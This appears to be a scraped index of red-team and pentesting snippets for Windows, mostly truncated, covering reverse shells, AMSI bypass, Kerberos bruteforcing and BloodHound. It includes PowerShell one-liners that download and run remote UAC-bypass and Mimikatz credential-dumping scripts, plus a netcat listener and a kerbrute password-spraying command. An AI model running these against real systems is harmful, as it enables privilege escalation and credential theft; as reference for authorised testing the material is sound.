xybytes

title
Windows Commands for Pentesters

Reverse Shell

• Revshells
• shell one-liner
• Invoke-PowerShellTcp.ps1
• nc -lvp 4444

xybytes

<#
    For a single share:
    Get-SmbFiles -SmbShare "\\server\share"
    For shares from a file:
    Get-SmbFiles -SharesFile "path_to_file_with_shares.txt"
#>

function Get-SmbFiles {
    [CmdletBinding()]
    param (

xybytes

# Description: 
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

# Import Mimikatz Module to run further commands

xybytes

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

xybytes

AMSI Bypass

To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI

However some methods may be detected by the AV but most of them actually work without problem

Powershell downgrade

The first and worst way to bypass AMSI is downgrading powershell version to 2.0.

xybytes

function Invoke-BloodHound
{
    <#
    .SYNOPSIS

        Runs the BloodHound C# Ingestor using reflection. The assembly is stored in this file.

    .DESCRIPTION

        Using reflection and assembly.load, load the compiled BloodHound C# ingestor into memory

xybytes

BloodHound Cypher Cheatsheet

1. Find edges

   • Find all edges for specific user
   • Find all edges for specific Group
   • Find all user edges for specific Group
   • Find all user edges for specific User
   • Find all computer edges for specific Group

• Shortest paths to Domain

xybytes

import requests
import json
import time
import argparse
import getpass
import os
import sys


def main():

xybytes

title
Windows Privilege Escalation

Windows Privilege Escalation

https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html https://github.com/areyou1or0/Windows https://git.io/JL7sx https://github.com/C0nd4/OSCP-Priv-Esc

xybytes

import argparse
import http.server
import webbrowser
import urllib.parse
import requests
import threading
import time

# Configure Argument Parser
parser = argparse.ArgumentParser(